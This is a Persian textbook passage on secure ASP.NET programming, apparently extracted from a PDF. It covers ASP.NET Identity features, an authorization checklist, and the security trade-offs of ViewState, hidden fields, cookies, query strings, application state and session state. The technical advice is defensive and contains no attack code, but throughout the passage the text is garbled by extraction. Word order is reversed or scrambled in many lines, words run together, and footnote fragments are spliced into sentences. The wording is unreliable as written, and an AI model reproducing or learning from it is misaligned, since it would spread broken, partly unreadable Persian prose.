 کاربران درباره پروفایل هایداده افزودن سادگي 

o  ها کنترل کامل دارید. مثلا برای اطلاعات کاربران و پروفایل دادهپایگاه شمایروی

توانید به سادگی یک فیلد، برای تاری  تولد در نظر بگیرید که کاربران هنگام ثبت نام در می

 .سایت باید آن را وارد کنند

 سازیذخیره کنترل 

o هویت  فرضپیش صورتهبASP.NET ذخیره دادهپایگاه یک در را کاربران اطلاعات تمام 

 . کنندمی کار EF Code First توسط هاداده به دسترسی هایمکانیزم تمام. کندمی

o داده نوع یا و هاجدول نام تغییر دارید، کامل کنترل ،دادهپایگاهشمای  روی کهجاآن از 

 . است ساده غیره و کلیدی هایفیلد

o مانند است، ساده آن هایداده مدیریت برای دیگر هایمکانیزم از استفاده SharePoint, 

Azure Storage Table هایدادهپایگاه و NoSQL.  استثنا  برگرداندن به ینیازو

System.NotImplementedExceptions نیست. 

 پذیری در سطح واحدآزمون 

o  هویتASP.NET تمام برای توانیدمی. کندمی بیشتر را وب هایبرنامه پذیریآزمون 

 .بنویسید آزمون کنندمی استفاده ASP.NET هویت از که هاییقسمت

 نقش یکنندهفراهم 

o هانقش اساس بر دسترسی سطوح کردن محدود امکان شما به که دارد وجود ایکنندهفراهم 

 هایبخش و بسازید "Admin" مانند جدید هاینقش توانیدمی سادگیهب. دهدمی را

 .کنید محدود را خود یبرنامه مختلف
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 1پشتیباني از ادعا 

o  هویتASP.NET این در. کندمی پشتیبانی نیز ادعاها اساس بر هویت احراز امکان از 

 این از استفاده با. شودمی شناسایی او ادعاهای از ایدسته اساس بر کاربر هویت مدل،

 مدل به نسبت بیشتری عمل آزادی کاربران، هویت تعریف برای دهندگانتوسعه روش

 یا هستید نقش یک عضو یا) است؛ منطقی مقدار یک تنها هانقش عضویت. دارند هانقش

 هویت از دقیقی و ریز بسیار اطلاعات توانیدمی ادعا روش از استفاده با کهحالی در ،(خیر

 .باشید داشته دست در کاربر

 اجتماعي کنندگان ورودفراهم 

o و گوگل تویتر، فیسبوک، مایکروسافت، مانند دیگری کنندگانتامین از توانیدمی راحتی به 

 .کنید ذخیره خود هایبرنامه در را کاربران به مربوط اطلاعات و کنید استفاده غیره

 Azure Active Directory 

o خودتان قابلیت وارد سایت شدن را با استفاده از یتوان به برنامهمی چنینهم Azure 

Active Directory   یهای شخصی کاربران را بر روی برنامهداده چنینهمبدهید و 

 خودتان ذخیره نمایید. 

 با یکپارچگي OWIN 

o  هویتASP.NET اساس بر OWIN از که میزبانی هر از بنابراین است، کرده پیدا توسعه 

OWIN به ایوابستگی هیچ چنینهم. کنید استفاده توانیدمی کندمی پشتیبانی 

System.Web هویت . ندارد وجودASP.NET برای مستقل و کامل چارچوب یک 

OWIN روی که ایبرنامه هر در تواندمی و است OWIN شود استفاده شده میزبانی. 

o  هویتASP.NET از OWIN این. کندمی استفاده سایت در کاربران خروج/ورود برای 

 ازبرنامه  کوکی، یک تولید های احراز هویت برایفرم از استفاده جایهب که است معنا بدین

OWIN CookieAuthentication کندمی استفاده. 

 یبسته NuGet 

                                                   

 

 

1 Claim 
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o  هویتASP.NET یبسته یک قالب در NuGet قالب در بسته این. شودمی توزیع 

 2013 استودیو ویژوال با که Web API و ASP.NET MVC, Web Forms هایپروژه

 NuGetرا از گالری  NuGetتوانید این بسته شما می .است شده گنجانده شدند منتشر

 دانلود کنید.

o یبسته یک قالب در چارچوب این توزیع NuGet تیم به را امکان این ASP.NET دهدمی 

 به چابک صورتهب را نتیجه و کنند برطرف را هاباگ دهند، توسعه جدیدی امکانات تا

 .کنند عرضه دهندگانتوسعه

 ASP.NETهای هویت مؤلفه 5-6-5

 داده نشان سبز رنگ با که هاییبسته. دهدمی نمایش را ASP.NETهویت  دهندهتشکیل اجزای زیر تصویر

هویت  از استفاده برای که هستند هاییوابستگی هابسته مابقی. سازندمی را ASP.NETهویت  سیستم اندشده

ASP.NET هایبرنامه در ASP.NET اندلازم. 

 

 ASP.NETهای هویت : مولفه1-5شکل 

 لیست برای احراز هویت و مجازشمارییک چک 7-5

هایی است که در هنگام اضافه کردن احراز هویت و مجازشماری به برنامه خود لیست شامل آیتمچکین ا

 باید رعایت کنید:

 ها وجود دارد که ریف کنید. بعضی حالتها را خودتان تعتنها در صورتی که مجبور هستید نقش

سازی کنید، اما این عمل همراه با خواهید خودتان توابع احراز هویت و مجازشماری را پیادهمی

های سازی مدلای برای کاربر هستید، آنگاه پیادهدادهاشتباهات بالقوه است. اگر دارای پایگاه
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های تابعیرید. این کار به شما امکان استفاده از ها را در نظر بگکننده برای عضویت و نقشفراهم

 کند.استاندارد برای کنترل دسترسی را فراهم می

  کاربران خود را تشویق به خروج از سیستم کنیم. احراز هویت به صورت پیوسته ممکن است منجر

خروج و قابل  یدکمهی ارایههای با ارزش بالا، کاربران را با شود. برای سیستم CSRFهای به حمله

 را فراهم نکنید.« مرا به خاطر بسپار»رویت به خروج از سیستم تشویق کنید و قابلیت 

  همیشه با نقش عدم دسترسی شروع کنید. این حالت که به طور مشخص کسانی که دسترسی به

 تر است.امنمنابع دارند، تعیین شوند نسبت به حالتی که کسانی که دسترسی ندارند تعیین شود 

 تفاوت بین قوانین مجازشماری در  ازASP.NET  وIIS های مجازشماریاطلاع داشته باشید. نقش 

IIS شود. در برای هر منبعی اجرا میASP.NET  شده به یک نگاشتقوانین مجازشماری تنها منابع

handler کند.شده را محافظت میمدیریت 

 ها را پنهان یا نمایش دهید، از کنترل ید تاکننویسی مجازشماری را بررسی میاگر به صورت برنامه

تر اطمینان پیدا کنید. اگر عناصر کاربری مانند ی پایینها در کدهای لایهاجرای آن مجازشماری

دوباره کنید، دهید یا پنهان میهای کاربری هستند را نمایش میها یا نامهایی که براساس نقشدکمه

 ها را انجام دهید.بررسی ()OnClickها مانند مربوط به آن دکمه تابعدر هر 

 دهی کاربر جاری را بررسی کنید. اگر منبعی اگر منابع به کاربری خاصی تعلق دارد، پیش از سرویس

 مانند یک پیام برای کاربر خاصی است آنگاه بررسی کنید که کاربر جاری به آن منبع دسترسی دارد.
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 مدیریت امن نشست و حالت 6

 ASP.NETدیریت حالت در مروری بر م 1-6

 گردد. درمی ایجاد ارسال شود، کارگزار به صفحه که زمان هر وب یصفحه کلاس از جدید ینمونه یک

 ،صفحه هایکنترل و صفحه با مرتبط اطلاعات تمام که است معنی بدان معمولاً این وب، نویسی سنتیبرنامه

متن  یاطلاعاتی را در جعبه کاربر اگر مثال، از دست خواهند رفت. برای کارگزاربا هر رفت و برگشت به 

 .رفتدست می ، اطلاعات ازکارگزار به کارخواه سیستم یا و با انتقال از مرورگر وارد می کرد،

 به است که مختلفی هایگزینه شامل ASP.NET سنتی، وب نویسیبرنامه ذاتی محدودیت این بر غلبه برای

 کند.گسترده، کمک می یبرنامه در و صفحه هر در اطلاعات در حفظ شما

 ها به شرح زیر است:این ویژگی

 View state 

 کنترل حالت 

 های مخفیفیلد 

 هاکوکی 

 1وجوهای پرسرشته 

 2حالت برنامه 

 3حالت نشست 

 های پروفایلویژگی 

View stateها و ، حالت کنترل، فیلدهای مخفی، کوکیquery strings داده در سمت  یهمگی برای ذخیره

، حالت نشست و Applicationحالت و  گیرندهای مختلف مورد استفاده قرار میاز طریق روش کارخواه

                                                   

 

 

1 Query Strings 

2 tateApplication S 

3 Session State 



  نتنویسي امن در داتبرنامه 

174 

 

 
 

 به ها، بستهاین گزینه از یک کنند. هرداری میی داده را روی حافظه در کارگزار نگههای پروفایل همگویژگی

 باشد.معایب مجزا می و مزایای دارای سناریو مورد استفاده،

 کارخواههای مدیریت حالت مبتني بر گزینه 1-1-6

 کارخواهاطلاعات در صفحه یا کامپیوتر  یهایی برای مدیریت حالت که شامل ذخیرههای زیر گزینهبخش

ذخیره  ها روی کارگزارها هیچ اطلاعاتی بین رفت و برگشتاین گزینه برای دهد.توضیح می شود رامی

 شود.نمی

 View state 
صفحه را فراهم  یک متعدد هایدرخواست بین مقادیر حفظ برای دیکشنری شی یک ViewState ویژگی

صفحه و کنترل مقادیر این ویژگی بین اطلاعات داری است که صفحه برای نگه فرضپیشکند. این روش می

 کند.استفاده میها رفت و برگشت

سازی شده و درهم یرشته به صورت یکهای آن حه و کنترلزمانی که صفحه پردازش شد، حالت فعلی صف

از  ViewStateشده در ذخیرههای به عنوان یک فیلد مخفی یا چند فیلد مخفی )درصورتی که حجم داده

د. زمانی نشودر صفحه ذخیره می بیشتر شود( MaxPageStateFieldLength صفتمقدار مشخص شده در 

 را تجزیه کرده ViewStateرشته  یشود، صفحه در مقداردهی اولیه بازگرداندهارسال و  کارگزارکه صفحه به 

 ذخیره کنید.  ViewStateدر  همتوانید مقادیر را . شما میگرداندباز میبه صفحه را و اطلاعات این ویژگی 

 عبارتند از: ViewStateمزایای استفاده از 

  نیستند: موردنیازمنابع کارگزار ViewState  گیرد.ساختار در کد صفحه قرار میدر یک 

 سازی ساده: پیادهViewState نویسی سفارشی برای استفاده نیاز ندارد و به طور گونه برنامههیچ

 است. ها فعالفرض برای ذخیره داده حالت در کنترلپیش

 های یونیکد، مقادیر سازیامنیتی: به منظور پیاده پیشرفته هایویژگیViewState سازی، فشرده درهم

 کند.می مخفی فراهم فیلدهای از استفاده بیشتری نسبت به امنیت که این امر شودمیو کدگذاری 

 عبارتند از: ViewStateمعایب استفاده از 

  کهاین: به دلیل ییکاراملاحظات ViewState مقادیر بزرگ  یشود، ذخیرهدر خود صفحه ذخیره می

های تلفن همراه حه شود. این امر به ویژه درمورد دستگاهتواند سبب پایین آمدن سرعت صفمی

 ها محدودیت دارد.بیشتر محسوس است چرا که پهنای باند در این دستگاه
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 زیادی مقدار ذخیره برای حافظه ظرفیت است ممکن همراه تلفن هایها: دستگاهمحدودیت دستگاه 

 .نداشته باشند ViewState اطلاعات از

 بالقوههای امنیتی ریسک :ViewState شود. اگرچه در یک یا چند فیلد مخفی در صفحه ذخیره می

ViewState کاریدستتواند کند اما باز هم میسازی شده ذخیره میها را به صورت درهمداده 

های مخفی نیز فیلد مشاهده شود، اطلاعات مستقیم طور به صفحه خروجی کد که صورتی شود. در

 کند.بالقوه را ایجاد می امنیتی مسئله یک شود، که اینمی دیده

 حالت کنترل 

 داری کنید. بههای حالت کنترل را به منظور درست کار کردن یک کنترل، نگهگاهی اوقات نیاز دارید تا داده

درنظر  دهد،مختلفی را نمایش می متعدد که اطلاعات هایبرگه شامل سفارشی کنترل یک مثال، عنوان

 انتخاب برگه، کدام هارفت و برگشت بیندارد که بداند  نیاز ،صحیحکار کردن  منظور به لبگیرید. این کنتر

ممکن است  ViewStateتواند برای این هدف مورد استفاده قرار گیرد اما می ViewStateشده است. ویژگی 

شکننده دهندگان خالی شود و این به طور موثر کنترل شما را در سطوح مختلف یک صفحه توسط توسعه

کنترل دارد. ویژگی  حالت به نام ویژگی یک ASP.NET صفحه چارچوب این موضوع، حل کند. برایمی

کند ثابت کرده و که یک کنترل را مشخص می صفاتیدهد تا اطلاعات حالت کنترل به شما اجازه می

 دهد.را نمی آناجازه خالی شدن  viewStateبرخلاف ویژگی 

 کنترل عبارتند از:مزایای استفاده از حالت 

  فرض، حالت کنترل در فیلدهای مخفی در صفحه ذخیره پیشندارد: به طور  کارگزارنیازی به منابع

 .شودمی

  حالت کنترل مانند کهاینقابلیت اطمینان: به دلیل ViewState  قابل خالی شدن نیست، قابلیت

 ها دارد.اطمینان بیشتری برای مدیریت حالت کنترل

 کنترل اطلاعات کجا و که چگونهبه منظور مشخص کردن این توانندمی سفارشی : آداپتورهایپذیریتطبیق

 .است، نوشته شوند شده ذخیره حالت

 معایب استفاده از کنترل حالت:
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 یصفحه چارچوب که حالی نویسی دارد: دربرنامه نیاز به مقداری ASP.NET برای اساس یک 

 استفاده برای. است سفارشی حفظ حالت مکانیسم یک ،کنترل حالت کند،می فراهم کنترل حالت

 برای ذخیره و بارگذاری حالت کنترل کد بنویسید. باید شما کنترل، از حالت کامل

 فیلدهای مخفي 

Asp.NET دهد که اطلاعات را در کنترل به شما اجازه میHiddenField  که به صورت یک فیلد ذخیره کنید

شود، . یک فیلد مخفی به صورت مرلی در مرورگر ترجمه نمیشودنمایش داده می HTMLمخفی استاندارد 

ارسال  کارگزاردرست مانند یک کنترل استاندارد آن را مقداردهی کنید. زمانی که یک صفحه به  توانیدمیاما 

ل ارسا HTTPمجموعه فرم شکل های دیگر به ، محتوای یک فیلد مخفی به همراه مقادیر کنترلشودمی

 که خاص صفحه اطلاعات یک گونه هر یبرای ذخیره مخزن یک عنوان به فیلد مخفی شود. یکمی

 کند.می ، عملداری کنیدنگه صفحه در مستقیم طور به خواهیدمی

 امنیتي: ینکته

برای یک کاربر مخرب، مشاهده و تغییر محتوای یک فیلد مخفی آسان است بنابراین اطلاعاتی که حساس 

 در فیلد مخفی ذخیره نکنید. اطلاعات است راشما وابسته به کارکردن درست این  یبرنامهبوده یا 

به صفحه اضافه  دقتکند و باید به خود ذخیره می Value صفتیک متغیر واحد در  HiddenFieldکنترل 

دستور  د، باید صفحه را توسطنمقادیر فیلد مخفی درطول پردازش صفحه در دسترس باش کهاینشود. برای 

HTTP POST  ارسال کنید. اگر از فیلدهای مخفی استفاده کرده و یک صفحه به منظور پاس  به یک لینک یا

 پردازش شود، فیلدهای مخفی در دسترس نخواهند بود. HTTP GETدستور 

 مزایای استفاده از فیلدهای مخفی عبارتند از:

  شده و از صفحه نیز خوانده ذخیرهنیستند: فیلدهای مخفی در صفحه  موردنیاز کارگزارمنابع

 شوند.می

 کنند.از فیلدهای مخفی پشتیبانی می کارخواههای پشتیبانی گسترده: تقریبا تمام مرورگرها و دستگاه 

 دهای استاندارسازی آسان: فیلدهای مخفی، کنترلپیاده HTML نویسی منطقی هستند که به برنامه

 ای نیاز ندارند.پیییده

 معایب استفاده از فیلدهای مخفی عبارتند از:
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 خروجی کد که صورتی شوند. در کاریدستتوانند : فیلدهای مخفی میبالقوههای امنیتی ریسک 

 مسئله شود، که این یکمی های مخفی نیز دیدهفیلد مشاهده شود، اطلاعات مستقیم طور به صفحه

مخفی را  فیلد یک محتویات دستی توانید به صورتمی . شماکندمیبالقوه را ایجاد  امنیتی

 امنیت اگر. سربار اضافی دارد و نویسیبرنامه به نیاز کار این انجام اما رمزگشایی کنید، و رمزگذاری

 هیچ گونه که طوری درنظر بگیرید، به کارگزار بر مبتنی حالت مکانیسم یک شماست، نگرانی یک

 .نشود ارسال کارخواه به حساسی اطلاعات

  ییک رشته کند. فیلدهای مخفی،پشتیبانی نمیرا سازی ساده: فیلد مخفی انواع داده ذخیرهمعماری 

 و محدودشده هایرشته مقادیر متعدد، باید یبرای ذخیره دهد.میه یارااطلاعات  جای را به منفرد

 انواع به صورت دستی توانیدمی چنینهم سازی کنید. شماپیاده رشته آن یتجزیه برای یکد

 اضافی کد به نیاز این عمل حال، این با کنید. سازیخطیفیلدهای مخفی صورت غنی را به  هایداده

را مد نظر  view stateدارید، استفاده از  کارخواهسازی انواع داده غنی سمت اگر نیاز به ذخیره دارد.

 درونی وجود داردبه صورت  View Stateسازی برای قرار دهید. خطی

  مقادیر  یشود، ذخیرهکه فیلدهای مخفی در خود صفحه ذخیره می: به دلیل اینییکاراملاحظات

 تواند به هنگام نمایش یا ارسال آن، سبب پایین آمدن سرعت صفحه شود.بزرگ می

 مخفی خیلی بزرگ شود، برخی از  شده در فیلدذخیرهی سازی: اگر حجم دادهمحدودیت ذخیره

 که جاآن کنند. ازها از دسترسی به صفحات شامل این مقادیر جلوگیری میها و فایروالوکسیپر

متفاوت باشد، فیلدهای مخفی  پروکسی و فایروال مختلفی هایسازیپیادهدر  تواندمی مقدار حداکثر

فیلد  های زیادی درساز شوند. اگر نیاز دارید که دادهمشکلتوانند به صورت پراکنده بزرگ می

 مخفی ذخیره کنید، یکی از موارد زیر را انجام دهید:

o .هر داده را در یک فیلد مخفی جداگانه قرار دهید 

o  ازViewState چندین در ها را ستفاده کنید که به طور خودکار دادها بندیقطعههمراه  به

 کند.فیلد مخفی جدا می

o کنید. هرچه  دارینگه کارگزاررا سمت  هاآن، کارخواهها در سمت داده یبه جای ذخیره

شود شما کندتر می یارسال کنید، زمان پاس  ظاهری برنامه کارخواهی بیشتری سمت داده

 های بیشتری ارسال یا دانلود کند.زیرا مرورگر نیاز دارد که داده
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 هاکوکي 

ی نشست در یا حافظه هکارخواست که در یک فایل متنی در سیستم فایل هادادهکوکی یک حجم کوچکی از 

همراه با  کارگزارسایت است که  خاص شود. کوکی دربرگیرنده اطلاعاتذخیره می کارخواهمرورگر 

ی تواند به صورت موقت )با زمان و تاری  خاتمهکند. کوکی میارسال می کارخواهخروجی صفحه برای 

 باشد.می یدامشخص( یا 

 Applicationخاص، نشست یا  کارخواهمورد یک  اطلاعات در یتوانید از کوکی برای ذخیرهشما می

ذخیره شده و زمانی که مرورگر به یک صفحه درخواست ارسال  کارخواهاستفاده کنید. کوکی روی سیستم 

تواند کوکی می کارگزارکند. ارسال می شدهدرخواستاطلاعات کوکی را به همراه اطلاعات  کارخواهکند، می

)احتمالا رمزگذاری شده( که  توکنیک  یذخیره ،کند. یک مورد استفاده استخراجیر آن را را خوانده و مقاد

 .باشد، میشما است یکاربر فعلی در برنامه احراز هویتگر نمایان

 

 امنیتي: ینکته

ن ی که کوکی را ایجاد کرده، بازگشت دهد. با این حال، کاربراکارگزارتواند اطلاعات را تنها به مرورگر می

 اطلاعات که شودمی د. توصیهندار هاآنهایی برای دسترسی به کوکی و خواندن محتوای مخرب روش

 برای شناسایی کاربر یک کوکی ذخیره نکنید. به جای آن، یک را در ی عبورکلمه یا کاربری نام مانند حساس

استفاده  کارگزار روی بر حساس برای دسترسی به اطلاعات توکن از سپس و ذخیره کرده کوکی در توکن

 .کنید

 ها عبارتند از:مزایای استفاده از کوکی

 شده، رسد منقضیمی پایان به مرورگر نشست هنگامی که تواندقضای قابل تنظیم: کوکی میقوانین ان 

وجود داشته باشد، که این موارد مشمول قوانین  کارخواهتواند به طور نامحدود روی کامپیوتر می یا

 شوند.می کارخواهانقضا در سمت 

  کارگزارذخیره شده و بعد از یک ارسال، توسط  کارخواهکوکی سمت  :ندارد کارگزارنیازی به منابع 

 شود.خوانده می

 ،ساده است. مقدار/کلید جفت با و وزن سبک بسیار متن بر مبتنی ساختار سادگی: کوکی 
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 کارخواهدر سمت  انقضای کوکی فرایندهای به کارخواه کامپیوتر در کوکی دوام چه داده: اگر فظح 

سازی داده روی ترین شکل ذخیرهبا دوام کلی طور به هاکوکی کاربر مربوط است، اما یلهو مداخ

 .هستند کارخواه

 معایب استفاده از کوکی عبارتند از:

 دهند، بایتی را برای اندازه کوکی قرار می 40۹6محدود: اغلب مرورگرها یک محدودیت  طول

جدید  کارخواههای های دستگاهنسخهبایتی در مرورگرها و  81۹2های اگرچه پشتیبانی از کوکی

 رایج شده است.

 ها را روی توانند کوکیهستند. کاربران می کاریدستها در معرض : کوکیبالقوههای امنیتی ریسک

ای که به کرده که این باعث ایجاد یک خطر امنیتی یا از کار افتادن برنامه کاریدستکامپیوتر خود 

 کارخواه به را هاآن که ایدامنه با تنها هاکوکی چند هر ،چنینهمشود. ، میاستکوکی وابسته 

طریق  از کوکی به دسترسی هایی برایروش تاری  طول در هکرها هستند، اما دسترس فرستاده در

ها را به صورت دستی توانید کوکیاند. شما مییافته کاربر کامپیوتر روی بر دیگر هایدامنه

تواند به دلیل زمان لازم رمزگذاری و رمزگشایی کنید ولی این کار نیازمند کد اضافی است و می

 شما تاثیر بگذارد. یبرنامهی یکارابرای رمزگذاری و رمزگشایی، روی 

 وجوهای پرسرشته 

 شود. یک مورد معمولی ازاطلاعاتی است که به انتهای آدرس صفحه اضافه می وجوپرس ییک رشته

 مانند نمونه زیر خواهد بود: وجوهای پرسرشته

http://www.contoso.com/listwidgets.aspx?category=basic&price=100 

که  باشدمیشامل دو جفت صفت/مقدار  با علامت سوال )؟( آغاز شده ووجو پرس یرشتهدر آدرس بالا، 

  .نام دارد "price"و دیگری  "category" هاآنیکی از 

آورد. برای مثال، یک یک روش ساده ولی با محدودیت برای ذخیره اطلاعات فراهم می وجوپرس یرشته

محصول از یک  یدیگر است مانند ارسال شماره یراه آسان برای ارسال اطلاعات از یک صفحه به صفحه

 هایسیستم و مرورگرها از بعضی حال، این های لازم. باپردازشانجام برای  دیگر یصفحه به صفحه

 .کنندمی تحمیل را URL طول برای کاراکتر 2083 یک محدودیت کارخواه

 امنیتي ینکته
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بنابراین به . شود کاریدست مخرب کاربر یک توسطتواند می وجوپرس یرشته یک شده درارسال اطلاعات

 را URL دتوانمی کاربر این، بر علاوه. تکیه نکنید حساس یا مهم برای انتقال اطلاعات وجوپرس رشته

آن ارسال  با همراه نیز اطلاعات این نتیجه در دیگر ارسال کند، کاربران به را آن یا کرده و گذارینشانه

 .شوندمی

 را با صفحه باید شما باشد، دسترس در صفحه پردازش طول در وجوپرس یرشته مقادیر کهاینمنظور  به

صورتی که صفحه برای پاس  به یک درخواست  در نتیجه، در. کنید ارسال HTTP GET دستور از استفاده

HTTP POST بهره ببرید وجوپرس رشتهتوانید از مزایای شود، نمی پردازش. 

 عبارتند از: وجوپرس یرشتهز مزایای استفاده ا

  گیرد.در یک درخواست به آدرس خاص قرار می وجوپرس یرشته کارگزار نیاز ندارد:به منابع 

 برای ارسال  وجوپرس یرشتهاز  کارخواههای پشتیبانی وسیع: تقریبا تمام مرورگرها و دستگاه

 کنند.مقادیر استفاده می

 سازی آسان: پیادهAsp.Net  شامل وجوپرس یرشتهیک پشتیبانی کامل برای توابع مربوط به ،

 دهد.میه یارا HttpRequestاز شی  Paramsبا استفاده از ویژگی  وجوپرس رشتهخواندن  هایتابع

 عبارتند از: وجوپرس یرشتهمعایب استفاده از 

 توسط کاربر از طریق رابط کاربری  مستقیماً وجوپرس رشته: اطلاعات بالقوههای امنیتی ریسک

کرده یا آن را به فرد دیگری ارسال گذاری نشانهرا  Urlد توانمیمرورگر، قابل مشاهده است. کاربر 

شود. اگر در مورد اطلاعات نیز به همراه آن انتقال داده می وجوپرس یرشتهکند، در نتیجه اطلاعات 

به جای  POSTر است که از فیلدهای مخفی که از نگران هستید، بهت وجوپرس رشتهحساس درون 

 ، بهره بگیرید.کنندمیاستفاده  وجوپرس یرشته

 کاراکتر را روی طول  2083محدودیت  کارخواههای ظرفیت محدود: برخی از مرورگرها و دستگاه

Url گیرند.میها درنظر 

 کارخواهمدیریت حالت مبتني بر  یخلاصه 

در دسترس هستند را به همراه  Asp.Netکه در  کارخواهحالت مبتنی بر های مدیریت گزینه زیرجدول 

 هایی درباره استفاده هرکدام آورده است.توصیه

 کارخواه: خلاصه مدیریت حالت متبني بر 1-6جدول 
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 های مورد استفادهتوصیه حالت تگزینه مدیری

ViewState خواهید حجم کمی از اطلاعات را در صفحه هنگامی از این ویژگی استفاده کنید که می

 ذخیره کنید که به خود صفحه برگشت داده خواهد شد. 

زمانی که نیاز دارید حجم کمی از اطلاعات حالت برای یک کنترل بین رفت و برگشت به  حالت کنترل

 استفاده کنید.توانید از این گزینه کارگزار ذخیره کنید، می

و  خواهید حجم کمی از اطلاعات را برای صفحه ذخیره کنیداز این گزینه هنگامی که می فیلدهای مخفی

 مواقعی که امنیت مسئله مهمی نیست، استفاده کنید. چنینهم

شوند توانید از فیلدهای مخفی تنها در صفحاتی که به کارگزار ارسال مینکته: شما می

 استفاده کنید.

ذخیره کنید و یا امنیت یک مسئله  کارخواهزمانی که نیاز دارید تا اطلاعات کمی در سمت  هاکوکی

 نیست، از این گزینه استفاده کنید.

اگر تمایل دارید حجم کمی از اطلاعات را از یک صفحه به صفحه دیگر ارسال کنید و یا  وجورشته پرس

 کنید.امنیت یک مسئله نیست، از این گزینه استفاده 

تنها زمانی که به همان صفحه یا صفحات دیگر از وجو پرس یرشتهاز  توانیدمینکته: شما 

 فرستید، استفاده کنید.میطریق یک لینک درخواست 

 

 های مدیریت حالت مبتني بر کارگزارگزینه ۲-1-6

ASP.NET در  اطلاعات این ذخیره جای ، بهکارگزار روی بر حالت اطلاعات حفظ برای مختلفی هایراه

 ارسالی به اطلاعات حجم توانیدمی ،کارگزار بر مبتنی حالت مدیریت دهد. بامی هیارا، کارخواه سمت

 روی بر هزینه پر منابع از تواندمی این کار حال، این با دهید. کاهش را به منظور حفظ حالت، کارخواه

 :کندمیرا توصیف  کارگزارمدیریت حالت مبنتی بر  ویژگی سه زیر هایبخش .کند استفاده کارگزار

  برنامهحالت 

 حالت نشست 

 های پروفایلویژگی 
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 برنامهحالت  

ASP.NET کلاس از نمونه یک دهد کهرا می برنامهحالت  از استفاده با مقادیر ذخیره یاجازه شما به 

HttpApplicationState  سازیذخیره برای برنامهحالت  فعال است. بنابراین،وب  یبرنامه هر برای 

 داری شود. های صفحه نگهو بین درخواست کارگزاراطلاعاتی مفید است که باید بین رفت و برگشت به 

 آدرس یک به درخواست هر طول ارسال مقدار ذخیره شده که در /کلید دیکشنری یک در برنامهحالت 

 اضافه کنید تا بین ساختار این به را خود یبرنامهمختص  اطلاعات توانیدمی شما. شودمی ایجاد خاص

اضافه  برنامهخود را به حالت  یبرنامهذخیره شود. هنگامی که شما اطلاعات مختص  صفحه هایدرخواست

 کند.آن را مدیریت می کارگزارکنید، می

این  ،کنندو اغلب تغییر نمی شدهنشست به اشتراک گذاشته چندین هایی که از طریق دادهآل برای ایدهحالت 

 .ذخیره شوند برنامهحالت  هایمتغیراست که در 

 :عبارتند از برنامههای استفاده از حالت مزیت

 دهندگان آسان، برای توسعه یبرای استفاده برنامهساده: حالت  سازیپیادهASP  آشنا بوده و با دیگر

 نت سازگار است.های چارچوب داتکلاس

 قابل دسترس است،  برنامهصفحات در  یبرای همه برنامهحالت  کهاین: به دلیل هبرنام یدامنه

)برای  تواند به معنی حفظ فقط یک کپی از اطلاعات باشدمی برنامهاطلاعات در حالت  یذخیره

 ، برخلاف حفظ اطلاعات در حالت نشست یا در صفحات فردی(نمونه

 :برنامهاستفاده از حالت  معایب

 برنامهشده در حالت ذخیرهد مضر نیز باشد. متغیرهای توانمی برنامهحالت  ی: دامنهبرنامه یدامنه 

 برنامه یپردازههستند و هر  سراسری، شودکه برنامه در آن اجرا میخاصی  یپردازهفقط در 

مقادیر ذخیره  برای برنامهبه حالت  توانیدمیتواند مقادیر متفاوتی داشته باشد. بنابراین، شما نمی

و  Web-gardenهای کارگزار های عمومی در پیکربندیرسانی شمارندهوزرهمنحصربه فرد یا ب

Web-farm .تکیه کنید 

 اند بی ثبات ذخیره شده ،برنامهکه در حالت  عمومیهای داده کهاینها: به دلیل دوام محدود داده

 خاموش یا و ارتقا ،کردن کارگزار افتادناز کار  به دلیل آن حاوی کارگزار وب پردازه اگرستند و ه

 .رفت دنخواه دست از ها نیزبرود، داده بین از کردن
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  کارگزار همانند ی یکاراتواند بر روی به حافظه کارگزار نیاز دارد، که می برنامه: حالت موردنیازمنابع

 تاثیر بگذارد.  برنامهپذیری مقیاس

وب را افزایش دهد. برای مثال، قراردادن موارد  برنامه کاراییتواند می برنامهطراحی و اجرای دقیق حالت 

تواند عملکرد سایت را از طریق می برنامهها در حالت ای نسبتا ثابت از دادهرایج مورد استفاده و یا مجموعه

ه حاوی ک برنامهمتغیرهای حالت اما از طرفی ، افزایش دهد. دادهپایگاههای داده از کاهش تعداد درخواست

د. ندهکارگزار وب را کاهش می کاراییهای بزرگ اطلاعاتی هستند، هنگام افزایش بار کارگذار، بلوک

تا زمانی که مقدارش حذف یا جایگزین  برنامهاشغال شده توسط یک متغیر ذخیره شده در حالت  یحافظه

های که کم تغییر برای مجموعه داده فقط برنامهگردد. بنابراین، بهتر است از متغیرهای حالت نمی آزادنشده، 

 استفاده شود. کنند،می

 حالت نشست 

Asp.NET کلاس از نمونه یک دهد کهحالت نشست را می از استفاده با مقادیر ذخیره یاجازه شما به 

HttpSessionState  است.وب جاری  یبرنامه هر نشست برای 

 اگر. است موردنظر فعلی مرورگر نشست اینجا فقط که در آن به جز است، برنامه حالت مشابه حالت نشست

خواهد  متفاوت حالت نشست یک کاربر نشست شما هستند، هر یبرنامهدر حال استفاده از  مختلف کاربران

وارد شود، دومین نشست کاربر مقداری  دوبارهشما خارج شده و  یبرنامهبه علاوه، اگر یک کاربر از  .داشت

 متفاوت نسبت به حالت نشست اول دارد.

اطلاعات مختص  یمقدار است که برای ذخیره /کلید دیکشنری یک ساختار حالت نشست به صورت

های یک صفحه دارد، و بین درخواست کارگزاردر بین رفت و برگشت به  دارینگهنشست که نیاز به 

 زیر استفاده کنید: عملیاتتوانید از حالت نشست برای انجام یگردد. ماستفاده می

  نشست یآن به نمونه نگاشتو  کارخواهسیستم  مرورگر یا هایدرخواستشناسایی منحصربه فرد 

 .کارگزارروی  منفرد

 ای چندین مرورگرهای درخواستدرمیان  استفاده برای کارگزار روی نشست بر خاص داده یذخیره 

 .در همان نشست کارخواهسیستم 

 کدهایی برای توانیدمی شما این، بر علاوه. نشست مدیریت مناسب رویدادهای فراخوانی 

 .رویدادها بنویسید این برداری ازبهره
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کند. این شی را مدیریت می کارگزاررا در حالت نشست ذخیره کنید، برنامه  خاصهنگامی که اطلاعات 

 روی بریا فرآیند روی  ها،کوکی در ندتوانمی نشست اطلاعات ،انتخاب کنید گزینه را کدام کهاین به بسته

 ذخیره شوند. ،Microsoft SQL Server اجرای حال در کامپیوتر یک در یا یند وفرآ از خارج کارگزار یک

 های استفاده از حالت نشست:مزیت

 دهندگان برای توسعه آسان و نشستحالت استفاده از امکان  سازی ساده:پیادهASP  آشنا بوده و با

 سازگار است. نتداتهای چارچوب دیگر کلاس

  شده فراخوانیشما  یبرنامه توسطتواند می حالتمدیریت  رویدادهای نشست: خاصرویدادهای 

 و مورد استفاده قرار گیرد.

